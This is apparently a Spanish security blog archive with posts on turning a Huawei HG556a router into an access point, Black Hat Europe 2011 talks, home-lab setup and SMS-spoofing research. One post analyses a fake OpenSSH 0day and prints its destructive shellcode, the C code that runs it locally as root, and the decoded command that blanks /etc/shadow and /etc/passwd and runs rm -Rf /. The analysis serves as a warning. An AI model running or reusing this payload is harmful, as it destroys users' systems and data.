Configurar Huawei HG556a de Vodafone como punto de acceso (AP)
Antes de nada disculparme porque os debo un post acerca de la configuración de un laboratorio casero, pero como apliqué bastantes cambios a la configuración que tenía estoy esperando a tener algo definitivo para contároslo
. Para ir haciendo boca, os comento un problema que he tenido y cómo lo he solucionado:
Mi conexión a Internet es por cable (OÑO), y mi conexión vino con un “fantástico” router WiFi WebStar EPR 2320. Como veréis si hacéis algunas búsquedas por Internet, no tiene muy buena reputación. A mí, como a mucha gente, me daba problemas con la tabla de NAT (PAT), de modo que cuando abría varias pestañas del navegador que accedían a páginas con Ads (que suelen tener múltiples enlaces), el cacharro se desbordaba y la conexión a Internet dejaba de funcionar correctamente (probablemente por saturación de la tabla de traducción de red/puertos).
Más adelante os explicaré con más precisión el problema, porque la topología utilizada también contribuía en el problema (utilizaba la funcionalidad de DMZ Host) y contribuyó en la elección de la solución: poner el router en modo Bridge, dejar que gestionase el NAT un dispositivo más potente y colocar un Access Point para conectarme a la WiFi.
Simplificando, imaginaos que tenéis una conexión a Internet con un router que no tiene WiFi, y que por los motivos que sean no queréis suprimirlo. En ese caso podéis añadir un Access Point en la LAN cableada del router y así dar acceso a clientes WiFi. Pues bien, en mi caso no tenía un punto de acceso, pero sí un router WiFi de Vodafone Huawei HG556a.
En este post quiero explicaros como configurar en HG556a como Access Point, en una topología como la mencionada.
En primer lugar habréis de acceder al HG556a (en adelante AP) con privilegios de administración (encontraréis información de como hacerlo por Internet).
Después configurar la LAN del AP con el mismo direccionamiento que tenéis en vuestra red cableada (en el ejemplo 172.X.X.0/24) y, importante, deshabilitar el DHCP del AP. ¿Por qué? Pues porque sino tendréis problemas porque se pondrá a sí mismo como Default Gateway (el AP con dirección 172.X.X.2) y cuando intentemos acceder a una página con el navegador, el AP la reemplazará por una en la que muestra un error por no estar en funcionamiento el ADSL.
Después activamos como puerta de enlace el router conectado a Internet.
Y acto seguido hemos de configurar la interfaz WAN para que actúe como modo bridge, que habrá de quedar de la siguiente forma:
Para ello seguimos los pasos mostrados a continuación:
Y ya está casi todo hecho. El siguiente paso es conseguir que los usuarios que se conecten por WiFi al AP reciban una dirección IP y, para ello, vamos a utilizar el router que está conectado a Internet (que probablemente ya tenía un servidor DHCP activado). Este router habrá de responder a las solicitudes DHCP identificándose a sí mismo como el Default Gateway para los clientes WiFi (en la topología de ejemplo esto significa que el Default Gateway para los clientes WiFi habría de ser la dirección 172.X.X.1).
El problema es que el AP no hace relay de las solicitudes y respuestas DHCP entre la red cableada y la inálámbrica, y tampoco dispone de ninguna funcionalidad para activarlo.
En este punto podemos realizar el siguiente truquillo: primero descargamos el fichero de configuración del router
Lo abrimos con un editor de texto y buscamos la cadena “dhcpRelay”, que por defecto tomará un valor de “0″. Cambiando el valor por “1″, ya tendremos la posibilidad de que el router conectado a Internet haga de servidor DHCP para los clientes WiFi conectados al AP.
Para ello subimos el fichero de configuración modificado
Y ya debería funcionar nuestro router WiFi convertido en AP!
Espero que os sea de utilidad
BlackHat Europe 2011 – Resumen de Charlas (Parte III)
Buenas gente,
mi turno!
antes de nada me gustaría hacer una valoración general del evento: ha sido muy positivo, pero con muy poca presencia nacional! No sabemos si ha sido porque las Rooted CON fueron hace muy poquito, si es porque este año ya no ha sido novedad que se celebrasen en nuestro pais o simple casualidad, pero se podían contar con las manos a los paisanos
También me gustaría enviar un fuerte abrazo a nuevos amigos de Argentina que tuvimos la oportunidad de conocer: Sebastian y Alfredo de Groundworks Technologies (que como ya ha comentado Pau dieron una brillante charla) y unos cuantos amigos más de Core (tenía una foto con Federico Muttis y la chica “anonymous”
pero no la encuentro
). Grandísimos!
Y ahora sí vamos a las charlas:
Día 1
[Application Dissection] The ABAP Underverse – Risky ABAP to Kernel communication and ABAP-tunneled buffer overflows / Andreas Wiegenstein
Personalmente esta charla me gustó mucho, ya que toca una temática que llevo un tiempo investigando: la seguridad en SAP. En concreto trató de vulnerabilidades en el lenguaje de programación utilizado en este sistema, conocido como ABAP.
Acerca de ABAP (Advanced Bussiness Application Programming):
- Es un lenguaje propietario, y sus especificaciones completas no están disponibles
- Es independiente de la plataforma (bytecode sobre ABAP Runtime)
- La comunicación entre sistemas SAP se realiza mediante RFC (Remote Function Call)
- El control de versiones y el sistema de transporte (entre entornos de desarrollo, QA, Producción) están integrados
- Utiliza OpenSQL para el acceso a back-end (independiente del back-end utilizado)
Cosas muy interesantes explicadas durante la charla:
- ABAP es un lenguaje susceptible a vulnerabilidades de tipo inyección SQL
- En ABAP se puede inyectar código estático y ejecutarlo posteriormente
- En ABAP se puede inyectar código dinámico y ecutarlo posteriormente (además este código se ejecuta on-the-fly y no quedan trazas)
- El código ABAP customizado puede evadir restricciones de seguridad del estándar de SAP (p.e. el sistema de autorizaciones está disponible para su uso pero no es implícito)
- ABAP es vulnerable a desbordamientos de buffer
Durante la charla se mostraron DEMOS de una inyección SQL que consultaba información en todos los mandantes, de inyección de código y de ruptura del servicio mediante la explotación de un desbordamiento de buffer.

[Keynote] Cyberwar/ Bruce Schneier
El archi-conocido Bruce Schneier nos habló de su visión y reflexiones acerca de la ciberguerra, así de cómo está afectando el creciente uso de este término en los gobiernos de las grandes potencias.
Os dejo los conceptos que más me gustaron:
- El principal problema de la ciberguerra es que es un término que no está claramente definido
- En la guerra tradicional, los gobiernos de las naciones tienen el control. La ciberguerra puede ser iniciada por ciudadanos
- Es difícil saber quién te ataca y cómo, por eso es difícil protegerse
- En la ciberguerra, el principal objetivo es controlar (por ejemplo como hace un APT), y el peor objetivo es destruir
- Las tecnologías actuales dificultan la interceptación de las comunicaciones para los gobiernos, y por tanto para las labore de inteligencia. Es más fácil pinchar un teléfono que controlar todas las comunicaciones que puedan realizarse vía Internet (p.e. Skype, el chat de Second Life, etc.)
- Un país es tan vulnerable en la ciberguerra como dependiente es del ciberespacio. Evidentemente los países más desarrollados suelen ser los más vulnerables.
Ya podéis ver el vídeo y comentar lo que queráis

Black Hat Europe 2011
Este año, por segunda vez consecutiva, el evento Black Hat Europe tiene lugar en Barcelona (y Testpurposes.net estaremos allí)
El evento constará como siempre de trainings (15 y 16 de Marzo) y de briefings (17 y 18 de Marzo), que por cierto tienen muy buena pinta
Esperamos veros por allí, y si todavía no tenéis vuestra entrada, los lectores de Testpurposes.net podéis obtener un descuento de 350 euros utilizando el código de promoción TPReadersBH durante el registro.
Para los que no vengáis, no os preocupéis, os iremos poniendo al día desde aquí
Buen fin de semana!
Fake 0day exploit para OpenSSH
Hoy hemos amanecido con alguna que otra noticia sobre un posible 0day en OpenSSH 5.7 (versión anterior a la actual OpenSSH 5.8/5.8p1).
Por lo que hemos podido trazar, al menos en Twitter el origen parece ser el siguiente tweet:
En twitter se han podido encontrar diversos enlaces al supuesto 0day:
Sólo con revisar la actividad de esta cuenta ya hay diferentes aspectos sospechosos, como el bajo número de Tweets y las fechas de los mismos.
Al acceder al enlace del servicio pastebin y otras fuentes, es posible acceder al supuesto código del exploit:
Además de este, se han detectado otras variantes, supuestamente multiplataforma:
- http://webcache.googleusercontent.com/search?q=cache:weOhXI1CNToJ:www.iexploit.org/community/showthread.php%3Ftid%3D2205%26action%3Dnextnewest+0day+openssh+%2Bx3n0n&cd=3&hl=es&ct=clnk&gl=es&source=www.google.es
- http://webcache.googleusercontent.com/search?q=cache:L2xbOfJNKf0J:www.xtremeroot.net/ofsec/index.php%3F/topic/30419-tutnew0day-ssh-exploit-tutorial/page__pid__50706+0day+openssh+%2Bx3n0n&cd=1&hl=es&ct=clnk&gl=es&source=www.google.es
Pues bien, después de realizar un análisis del primero de los exploits, se ha podido comprobar que se trata de un HOAX, y además dañiño.
Si revisamos el código, se inicializa la variable shellcode con lo que posteriormente veremos que se trata de un payload dañino.
unsigned char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65" "\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73" "\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22" "\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20" "\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1" "\xcd\x80";
En realidad del supuesto exploit, el único código relevante es el siguiente:
int main(int argc, char *argv[])
{
int uid = getuid();
int port = 22, sock;
struct hostent *host;
struct sockaddr_in addr;
if(uid !=0)
{
fprintf(stderr, "[!!]Error: You must be root\n");
exit(1);
}
if(uid == 0)
{
printf("\t[+]Starting exploit..\n");
}
if(argc != 3)
usage(argv);
fprintf(stderr, "[!!]Exploit failed\n");
(*(void(*)())shellcode)();
En el que se comprueba que el usuario que lo ejecuta es root, se comprueba el número de argumentos y se llama un puntero a función que apunta al payload inicializado en la variable “shellcode”, por lo que realmente éste se ejecuta en local.
A continuación se adjunta el análisis estático de la shellcode:
seg000:00000000
seg000:00000000 ; Segment type: Pure code
seg000:00000000 seg000 segment byte public 'CODE' use32
seg000:00000000 assume cs:seg000
seg000:00000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000 push 0Bh
seg000:00000002 pop eax ; eax => system call numbre = 0xB (execve)
seg000:00000003 cdq ; edx => \0
seg000:00000004 push edx
seg000:00000005 push small 'c-'
seg000:00000009 mov edi, esp ; edi => pointer to "-c"
seg000:0000000B push 'hs/'
seg000:00000010 push 'nib/'
seg000:00000015 mov ebx, esp ; ebx => pointer to "/bin/sh"
seg000:00000017 push edx ; push NULL
seg000:00000018 call loc_56 ; push pointer to "aEchoEtcShadowE"
seg000:00000018 ; ---------------------------------------------------------------------------
seg000:0000001D aEchoEtcShadowE db 'echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /',0
seg000:00000056 ; ---------------------------------------------------------------------------
seg000:00000056
seg000:00000056 loc_56: ; CODE XREF: seg000:00000018?p
seg000:00000056 push edi ; push pointer to "-c"
seg000:00000057 push ebx ; push pointer to "/bin/sh"
seg000:00000058 mov ecx, esp ; ecx => args = ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"]
seg000:0000005A int 80h ; execve("/bin/sh", ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"], NULL)
seg000:0000005A seg000 ends
seg000:0000005A
seg000:0000005A
seg000:0000005A end
Así pues, el supuesto exploit ejecuta en el sistema local, con privilegios de root, el comando:
echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /
Destacar que este no es el primer caso de fake exploits relacionados con OpenSSH, ya por el 2009 hubo otra oleada de fake exploits para el mismo servicio.
Setting up your home LAB (parte II)
Instala el sistema
Descargamos el sistema operativo a instalar desde http://www.ubuntu.com/server/get-ubuntu/download. En esta ocasión se instalará Ubuntu Server 10.04 LTS a modo de ejemplo.
Se graba la ISO de un CD-ROM y se procede a la instalación.
- Realizar una instalación estándar (al gusto) hasta el momento del particionado del disco
- En este paso, seleccionar la opción de realizar un particionado manual, para poder realizar la instalación en RAID0.
- Crear tablas de particiones en los dos discos duros, y seleccionar la opción “Configurar RAID por software”
Videos de las No cON Name 2010
Hace poco os contábamos acerca de nuestra participación en las NcN 2010, y la gran calidad de las charlas que se dieron.
Pues ya están publicados los vídeos de las conferencias!
Podéis encontralos en la página de la asociación:
http://noconname.org/congreso.html#videos
A disfrutarlos
Setting up your home LAB (parte I)
Es común que los amantes de la Seguridad Informática dediquen buenas horas en sus casas a investigar y trastear en la materia. Si estás leyendo este Blog, probablemente es que tú también eres uno de ellos
.
Y qué mejor para tus investigaciones caseras que tu propio mini-laboratorio? Este post pretende dar algunas ideas a la hora de montarlo.
Virtualízate
Es una opción económica y escalable para tener una infraestructura de sistemas en tu casa. Existen múltiples soluciones de virtualización (VMware, Xen, Virtualbox, etc.), pero para este ejemplo vamos a utilizar KVM.
La idea es montar un servidor de máquinas e infraestructuras de red virtuales, y además, queremos que el sistema anfitrión (host) consuma los mínimos recursos y únicamente haga de puente entre los sistemas virtuales y el hardware. A esto se le conoce como virtualización de tipo 1 y KVM es un sistema de este tipo, entre otros (p.e. VMware ESX).
No cON Name 2010
El pasado 21 de Octubre de 2010 se celebró la edición 2010 del congreso de las NcN 2010. Durante ésta tuve el placer de compartir, junto con mis compañeros Juan y Pau, el resultado de la investigación realizada sobre el SMSspoofing y sus riesgos derivados en la actualidad.
La investigación se ha llevado a cabo gracias a la colaboración y apoyo de la empresa en la que trabajo, TB·Security.
En ella hemos tenido la oportunidad de analizar el estado del arte de SMSspoofing, así como para ampliar las funcionalidades de SET (Social Engineering Toolkit) para:
- El envío de SMS mediante proveedores de envío de mensajes (spoofeables)
- La explotación de vulnerabilidades en terminales móviles
- La incorporación y creación de plantillas para mensajes SMS enviados
En posteriores entradas iremos profundizando en los detalles de la investigación realizada, compartiendo nuestras experiencias y descubrimientos. Por lo de pronto queremos haceros llegar la presentación realizada
Por último felicitar y agradecer a la asociación No cON Name por el evento, en el que personalmente me lo pasé genial. Felicitar también a los ponentes, que dieron unas charlas de lo más interesante y agradecer a TB·Security su gran apoyo y colaboración.
Hasta pronto!














